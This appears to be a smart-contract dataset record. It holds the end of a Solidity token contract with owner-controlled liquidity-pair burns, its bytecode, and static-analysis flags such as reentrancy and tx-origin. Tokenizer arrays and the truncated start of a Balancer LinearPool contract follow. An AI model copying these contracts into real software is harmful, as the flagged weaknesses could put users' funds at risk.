1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
0x6080604052600436106103b15760003560e01c80638da5cb5b116101e7578063bbc0c7421161010d578063dd62ed3e116100a0578063f2fde38b1161006f578063f2fde38b14610ac9578063f637434214610ae9578063f8b45b0514610aff578063fe72b27a14610b1557600080fd5b8063dd62ed3e14610a42578063e2f4560514610a88578063e884f26014610a9e578063f11a24d314610ab357600080fd5b8063c876d0b9116100dc578063c876d0b9146109dc578063c8c8ebe4146109f6578063d257b34f14610a0c578063d85ba06314610a2c57600080fd5b8063bbc0c7421461095d578063c02466681461097c578063c17b5b8c1461099c578063c18bc195146109bc57600080fd5b80639ec22c0e11610185578063a4c82a0011610154578063a4c82a00146108d7578063a9059cbb146108ed578063aacebbe31461090d578063b62496f51461092d57600080fd5b80639ec22c0e146108755780639fccce321461088b578063a0d82dc5146108a1578063a457c2d7146108b757600080fd5b8063924de9b7116101c1578063924de9b71461080a57806395d89b411461082a5780639a7a23d61461083f5780639c3b4fdc1461085f57600080fd5b80638da5cb5b146107b65780638ea5220f146107d457806392136913146107f457600080fd5b8063313ce567116102d7578063715018a61161026a57806375f0a8741161023957806375f0a8741461074b5780637bce5a041461076b5780638095d564146107815780638a8c523c146107a157600080fd5b8063715018a6146106e1578063730c1888146106f6578063751039fc146107165780637571336a1461072b57600080fd5b80634fbee193116102a65780634fbee1931461063c5780636a486a8e146106755780636ddd17131461068b57806370a08231146106ab57600080fd5b8063313ce567146105b257806339509351146105ce57806349bd5a5e146105ee5780634a62bb651461062257600080fd5b8063199ffc721161034f57806323b872dd1161031e57806323b872dd1461054c57806327c8f8351461056c5780632c3e486c146105825780632e82f1a01461059857600080fd5b8063199ffc72146104ea5780631a8145bb146105005780631f3fed8f14610516578063203e727e1461052c57600080fd5b80631694505e1161038b5780631694505e1461044757806318160ddd146104935780631816467f146104b2578063184c16c5146104d457600080fd5b806306fdde03146103bd578063095ea7b3146103e857806310d5de531461041857600080fd5b366103b857005b600080fd5b3480156103c957600080fd5b506103d2610b35565b6040516103df9190612c99565b60405180910390f35b3480156103f457600080fd5b50610408610403366004612d03565b610bc7565b60405190151581526020016103df565b34801561042457600080fd5b50610408610433366004612d2f565b602080526000908152604090205460ff1681565b34801561045357600080fd5b5061047b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103df565b34801561049f57600080fd5b506002545b6040519081526020016103df565b3480156104be57600080fd5b506104d26104cd366004612d2f565b610bdd565b005b3480156104e057600080fd5b506104a4600f5481565b3480156104f657600080fd5b506104a4600b5481565b34801561050c57600080fd5b506104a4601d5481565b34801561052257600080fd5b506104a4601c5481565b34801561053857600080fd5b506104d2610547366004612d4c565b610c6d565b34801561055857600080fd5b50610408610567366004612d65565b610d4a565b34801561057857600080fd5b5061047b61dead81565b34801561058e57600080fd5b506104a4600d5481565b3480156105a457600080fd5b50600c546104089060ff1681565b3480156105be57600080fd5b50604051601281526020016103df565b3480156105da57600080fd5b506104086105e9366004612d03565b610df4565b3480156105fa57600080fd5b5061047b7f000000000000000000000000c0dff804d71d5a2d05a6c9b3f5885a085a6ec4b781565b34801561062e57600080fd5b506011546104089060ff1681565b34801561064857600080fd5b50610408610657366004612d2f565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561068157600080fd5b506104a460185481565b34801561069757600080fd5b506011546104089062010000900460ff1681565b3480156106b757600080fd5b506104a46106c6366004612d2f565b6001600160a01b031660009081526020819052604090205490565b3480156106ed57600080fd5b506104d2610e30565b34801561070257600080fd5b506104d2610711366004612db6565b610e66565b34801561072257600080fd5b50610408610f8f565b34801561073757600080fd5b506104d2610746366004612deb565b610fcc565b34801561075757600080fd5b5060065461047b906001600160a01b031681565b34801561077757600080fd5b506104a460155481565b34801561078d57600080fd5b506104d261079c366004612e20565b611020565b3480156107ad57600080fd5b506104d26110c6565b3480156107c257600080fd5b506005546001600160a01b031661047b565b3480156107e057600080fd5b5060075461047b906001600160a01b031681565b34801561080057600080fd5b506104a460195481565b34801561081657600080fd5b506104d2610825366004612e4c565b611107565b34801561083657600080fd5b506103d261114d565b34801561084b57600080fd5b506104d261085a366004612deb565b61115c565b34801561086b57600080fd5b506104a460175481565b34801561088157600080fd5b506104a460105481565b34801561089757600080fd5b506104a4601e5481565b3480156108ad57600080fd5b506104a4601b5481565b3480156108c357600080fd5b506104086108d2366004612d03565b61123c565b3480156108e357600080fd5b506104a4600e5481565b3480156108f957600080fd5b50610408610908366004612d03565b6112d5565b34801561091957600080fd5b506104d2610928366004612d2f565b6112e2565b34801561093957600080fd5b50610408610948366004612d2f565b60216020526000908152604090205460ff1681565b34801561096957600080fd5b5060115461040890610100900460ff1681565b34801561098857600080fd5b506104d2610997366004612deb565b611369565b3480156109a857600080fd5b506104d26109b7366004612e20565b6113f2565b3480156109c857600080fd5b506104d26109d7366004612d4c565b611495565b3480156109e857600080fd5b506013546104089060ff1681565b348015610a0257600080fd5b506104a460085481565b348015610a1857600080fd5b50610408610a27366004612d4c565b611566565b348015610a3857600080fd5b506104a460145481565b348015610a4e57600080fd5b506104a4610a5d366004612e67565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a9457600080fd5b506104a460095481565b348015610aaa57600080fd5b506104086116bd565b348015610abf57600080fd5b506104a460165481565b348015610ad557600080fd5b506104d2610ae4366004612d2f565b6116fa565b348015610af557600080fd5b506104a4601a5481565b348015610b0b57600080fd5b506104a4600a5481565b348015610b2157600080fd5b50610408610b30366004612d4c565b611795565b606060038054610b4490612ea0565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090612ea0565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd4338484611a0f565b50600192915050565b6005546001600160a01b03163314610c105760405162461bcd60e51b8152600401610c0790612edb565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c975760405162461bcd60e51b8152600401610c0790612edb565b670de0b6b3a76400006103e8610cac60025490565b610cb7906001612f26565b610cc19190612f45565b610ccb9190612f45565b811015610d325760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610c07565b610d4481670de0b6b3a7640000612f26565b60085550565b6000610d57848484611b33565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610ddc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c07565b610de98533858403611a0f565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610bd4918590610e2b908690612f67565b611a0f565b6005546001600160a01b03163314610e5a5760405162461bcd60e51b8152600401610c0790612edb565b610e646000612408565b565b6005546001600160a01b03163314610e905760405162461bcd60e51b8152600401610c0790612edb565b610258831015610efe5760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610c07565b6103e88211158015610f0e575060015b610f735760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610c07565b600d92909255600b55600c805460ff1916911515919091179055565b6005546000906001600160a01b03163314610fbc5760405162461bcd60e51b8152600401610c0790612edb565b506011805460ff19169055600190565b6005546001600160a01b03163314610ff65760405162461bcd60e51b8152600401610c0790612edb565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461104a5760405162461bcd60e51b8152600401610c0790612edb565b601583905560168290556017819055806110648385612f67565b61106e9190612f67565b601481815510156110c15760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610c07565b505050565b6005546001600160a01b031633146110f05760405162461bcd60e51b8152600401610c0790612edb565b6011805462ffff0019166201010017905542600e55565b6005546001600160a01b031633146111315760405162461bcd60e51b8152600401610c0790612edb565b60118054911515620100000262ff000019909216919091179055565b606060048054610b4490612ea0565b6005546001600160a01b031633146111865760405162461bcd60e51b8152600401610c0790612edb565b7f000000000000000000000000c0dff804d71d5a2d05a6c9b3f5885a085a6ec4b76001600160a01b0316826001600160a01b0316141561122e5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c07565b611238828261245a565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156112be5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c07565b6112cb3385858403611a0f565b5060019392505050565b6000610bd4338484611b33565b6005546001600160a01b0316331461130c5760405162461bcd60e51b8152600401610c0790612edb565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113935760405162461bcd60e51b8152600401610c0790612edb565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b0316331461141c5760405162461bcd60e51b8152600401610c0790612edb565b6019839055601a829055601b819055806114368385612f67565b6114409190612f67565b6018819055601910156110c15760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610c07565b6005546001600160a01b031633146114bf5760405162461bcd60e51b8152600401610c0790612edb565b670de0b6b3a76400006103e86114d460025490565b6114df906005612f26565b6114e99190612f45565b6114f39190612f45565b81101561154e5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610c07565b61156081670de0b6b3a7640000612f26565b600a5550565b6005546000906001600160a01b031633146115935760405162461bcd60e51b8152600401610c0790612edb565b620186a06115a060025490565b6115ab906001612f26565b6115b59190612f45565b8210156116225760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c07565b6103e861162e60025490565b611639906005612f26565b6116439190612f45565b8211156116af5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610c07565b50600981905560015b919050565b6005546000906001600160a01b031633146116ea5760405162461bcd60e51b8152600401610c0790612edb565b506013805460ff19169055600190565b6005546001600160a01b031633146117245760405162461bcd60e51b8152600401610c0790612edb565b6001600160a01b0381166117895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c07565b61179281612408565b50565b6005546000906001600160a01b031633146117c25760405162461bcd60e51b8152600401610c0790612edb565b600f546010546117d29190612f67565b42116118205760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610c07565b6103e88211156118855760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610c07565b426010556040516370a0823160e01b81526001600160a01b037f000000000000000000000000c0dff804d71d5a2d05a6c9b3f5885a085a6ec4b716600482015260009030906370a0823190602401602060405180830381865afa1580156118f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119149190612f7f565b9050600061192e61271061192884876124ae565b906124c1565b90508015611963576119637f000000000000000000000000c0dff804d71d5a2d05a6c9b3f5885a085a6ec4b761dead836124cd565b60007f000000000000000000000000c0dff804d71d5a2d05a6c9b3f5885a085a6ec4b79050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156119c357600080fd5b505af11580156119d7573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b6001600160a01b038316611a715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c07565b6001600160a01b038216611ad25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c07565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611b595760405162461bcd60e51b8152600401610c0790612f98565b6001600160a01b038216611b7f5760405162461bcd60e51b8152600401610c0790612fdd565b80611b90576110c1838360006124cd565b60115460ff161561204a576005546001600160a01b03848116911614801590611bc757506005546001600160a01b03838116911614155b8015611bdb57506001600160a01b03821615155b8015611bf257506001600160a01b03821661dead14155b8015611c085750600554600160a01b900460ff16155b1561204a57601154610100900460ff16611ca0576001600160a01b0383166000908152601f602052604090205460ff1680611c5b57506001600160a01b0382166000908152601f602052604090205460ff165b611ca05760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c07565b60135460ff1615611de7576005546001600160a01b03838116911614801590611cfb57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611d3957507f000000000000000000000000c0dff804d71d5a2d05a6c9b3f5885a085a6ec4b76001600160a01b0316826001600160a01b031614155b15611de757326000908152601260205260409020544311611dd45760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610c07565b3260009081526012602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611e2757506001600160a01b038216600090815260208052604090205460ff16155b15611f0b57600854811115611e9c5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610c07565b600a546001600160a01b038316600090815260208190526040902054611ec29083612f67565b1115611f065760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c07565b61204a565b6001600160a01b03821660009081526021602052604090205460ff168015611f4b57506001600160a01b038316600090815260208052604090205460ff16155b15611fc157600854811115611f065760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610c07565b6001600160a01b038216600090815260208052604090205460ff1661204a57600a546001600160a01b0383166000908152602081905260409020546120069083612f67565b111561204a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c07565b3060009081526020819052604090205460095481108015908190612076575060115462010000900460ff165b801561208c5750600554600160a01b900460ff16155b80156120b157506001600160a01b03851660009081526021602052604090205460ff16155b80156120d657506001600160a01b0385166000908152601f602052604090205460ff16155b80156120fb57506001600160a01b0384166000908152601f602052604090205460ff16155b15612129576005805460ff60a01b1916600160a01b17905561211b612622565b6005805460ff60a01b191690555b600554600160a01b900460ff1615801561215b57506001600160a01b03841660009081526021602052604090205460ff165b80156121695750600c5460ff165b80156121845750600d54600e546121809190612f67565b4210155b80156121a957506001600160a01b0385166000908152601f602052604090205460ff16155b156121b8576121b661285c565b505b6005546001600160a01b0386166000908152601f602052604090205460ff600160a01b90920482161591168061220657506001600160a01b0385166000908152601f602052604090205460ff165b1561220f575060005b600081156123f4576001600160a01b03861660009081526021602052604090205460ff16801561224157506000601854115b156122f9576122606064611928601854886124ae90919063ffffffff16565b9050601854601a54826122739190612f26565b61227d9190612f45565b601d600082825461228e9190612f67565b9091555050601854601b546122a39083612f26565b6122ad9190612f45565b601e60008282546122be9190612f67565b90915550506018546019546122d39083612f26565b6122dd9190612f45565b601c60008282546122ee9190612f67565b909155506123d69050565b6001600160a01b03871660009081526021602052604090205460ff16801561232357506000601454115b156123d6576123426064611928601454886124ae90919063ffffffff16565b9050601454601654826123559190612f26565b61235f9190612f45565b601d60008282546123709190612f67565b90915550506014546017546123859083612f26565b61238f9190612f45565b601e60008282546123a09190612f67565b90915550506014546015546123b59083612f26565b6123bf9190612f45565b601c60008282546123d09190612f67565b90915550505b80156123e7576123e78730836124cd565b6123f18186613020565b94505b6123ff8787876124cd565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60006124ba8284612f26565b9392505050565b60006124ba8284612f45565b6001600160a01b0383166124f35760405162461bcd60e51b8152600401610c0790612f98565b6001600160a01b0382166125195760405162461bcd60e51b8152600401610c0790612fdd565b6001600160a01b038316600090815260208190526040902054818110156125915760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c07565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906125c8908490612f67565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161261491815260200190565b60405180910390a350505050565b3060009081526020819052604081205490506000601e54601c54601d546126499190612f67565b6126539190612f67565b90506000821580612662575081155b1561266c57505050565b60095461267a906014612f26565b8311156126925760095461268f906014612f26565b92505b6000600283601d54866126a59190612f26565b6126af9190612f45565b6126b99190612f45565b905060006126c785836129ec565b9050476126d3826129f8565b60006126df47836129ec565b905060006126fc87611928601c54856124ae90919063ffffffff16565b9050600061271988611928601e54866124ae90919063ffffffff16565b90506000816127288486613020565b6127329190613020565b6000601d819055601c819055601e8190556007546040519293506001600160a01b031691849181818185875af1925050503d806000811461278f576040519150601f19603f3d011682016040523d82523d6000602084013e612794565b606091505b509098505086158015906127a85750600081115b156127fb576127b78782612bb8565b601d54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612848576040519150601f19603f3d011682016040523d82523d6000602084013e61284d565b606091505b50505050505050505050505050565b42600e556040516370a0823160e01b81526001600160a01b037f000000000000000000000000c0dff804d71d5a2d05a6c9b3f5885a085a6ec4b7166004820152600090819030906370a0823190602401602060405180830381865afa1580156128c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ed9190612f7f565b9050600061290c612710611928600b54856124ae90919063ffffffff16565b90508015612941576129417f000000000000000000000000c0dff804d71d5a2d05a6c9b3f5885a085a6ec4b761dead836124cd565b60007f000000000000000000000000c0dff804d71d5a2d05a6c9b3f5885a085a6ec4b79050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156129a157600080fd5b505af11580156129b5573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b60006124ba8284613020565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612a2d57612a2d613037565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612aab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612acf919061304d565b81600181518110612ae257612ae2613037565b60200260200101906001600160a01b031690816001600160a01b031681525050612b2d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a0f565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612b8290859060009086903090429060040161306a565b600060405180830381600087803b158015612b9c57600080fd5b505af1158015612bb0573d6000803e3d6000fd5b505050505050565b612be3307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a0f565b60405163f305d71960e01b815230600482015260248101839052600060448201819052606482015261dead60848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015612c6d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612c9291906130db565b5050505050565b600060208083528351808285015260005b81811015612cc657858101830151858201604001528201612caa565b81811115612cd8576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461179257600080fd5b60008060408385031215612d1657600080fd5b8235612d2181612cee565b946020939093013593505050565b600060208284031215612d4157600080fd5b81356124ba81612cee565b600060208284031215612d5e57600080fd5b5035919050565b600080600060608486031215612d7a57600080fd5b8335612d8581612cee565b92506020840135612d9581612cee565b929592945050506040919091013590565b803580151581146116b857600080fd5b600080600060608486031215612dcb57600080fd5b8335925060208401359150612de260408501612da6565b90509250925092565b60008060408385031215612dfe57600080fd5b8235612e0981612cee565b9150612e1760208401612da6565b90509250929050565b600080600060608486031215612e3557600080fd5b505081359360208301359350604090920135919050565b600060208284031215612e5e57600080fd5b6124ba82612da6565b60008060408385031215612e7a57600080fd5b8235612e8581612cee565b91506020830135612e9581612cee565b809150509250929050565b600181811c90821680612eb457607f821691505b60208210811415612ed557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612f4057612f40612f10565b500290565b600082612f6257634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612f7a57612f7a612f10565b500190565b600060208284031215612f9157600080fd5b5051919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561303257613032612f10565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561305f57600080fd5b81516124ba81612cee565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156130ba5784516001600160a01b031683529383019391830191600101613095565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156130f057600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220b876c128b3743c160c0f099ffced1a80c59b768fd7bc7470ef8cafe48b99a72a64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 20842, 9648, 2546, 2575, 2620, 2546, 28154, 14728, 2581, 2581, 21619, 23777, 2683, 2487, 2063, 22907, 2063, 2683, 16932, 2692, 6305, 2475, 3676, 2497, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 1013, 1008, 1008, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 20325, 25460, 11031, 4037, 1024, 8299, 1024, 1013, 1013, 7479, 1012, 20325, 25460, 1012, 22834, 10474, 1024, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 20325, 25460, 11031, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1022, 1012, 2184, 1028, 1027, 1014, 1012, 1022, 1012, 2184, 1028, 1027, 1014, 1012, 1022, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,686
0x9588c26142e345f1A0d005CfC0C6DF29A8Fa010C
// SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/helpers/BalancerErrors.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/ERC20Helpers.sol"; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; import "@balancer-labs/v2-pool-utils/contracts/LegacyBasePool.sol"; import "@balancer-labs/v2-pool-utils/contracts/interfaces/IRateProvider.sol"; import "@balancer-labs/v2-pool-utils/contracts/rates/PriceRateCache.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IGeneralPool.sol"; import "./LinearMath.sol"; import "./LinearPoolUserData.sol"; /** * @dev Linear Pools are designed to hold two assets: "main" and "wrapped" tokens that have an equal value underlying * token (e.g., DAI and waDAI). There must be an external feed available to provide an exact, non-manipulable exchange * rate between the tokens. In particular, any reversible manipulation (e.g. causing the rate to increase and then * decrease) can lead to severe issues and loss of funds. * * The Pool will register three tokens in the Vault however: the two assets and the BPT itself, * so that BPT can be exchanged (effectively joining and exiting) via swaps. * * Despite inheriting from BasePool, much of the basic behavior changes. This Pool does not support regular joins and * exits, as the entire BPT supply is 'preminted' during initialization. * * Unlike most other Pools, this one does not attempt to create revenue by charging fees: value is derived by holding * the wrapped, yield-bearing asset. However, the 'swap fee percentage' value is still used, albeit with a different * meaning. This Pool attempts to hold a certain amount of "main" tokens, between a lower and upper target value. * The pool charges fees on trades that move the balance outside that range, which are then paid back as incentives to * traders whose swaps return the balance to the desired region. * The net revenue via fees is expected to be zero: all collected fees are used to pay for this 'rebalancing'. */ abstract contract LinearPool is LegacyBasePool, IGeneralPool, IRateProvider { using WordCodec for bytes32; using FixedPoint for uint256; using PriceRateCache for bytes32; using LinearPoolUserData for bytes; uint256 private constant _TOTAL_TOKENS = 3; // Main token, wrapped token, BPT // This is the maximum token amount the Vault can hold. In regular operation, the total BPT supply remains constant // and equal to _INITIAL_BPT_SUPPLY, but most of it remains in the Pool, waiting to be exchanged for tokens. The // actual amount of BPT in circulation is the total supply minus the amount held by the Pool, and is known as the // 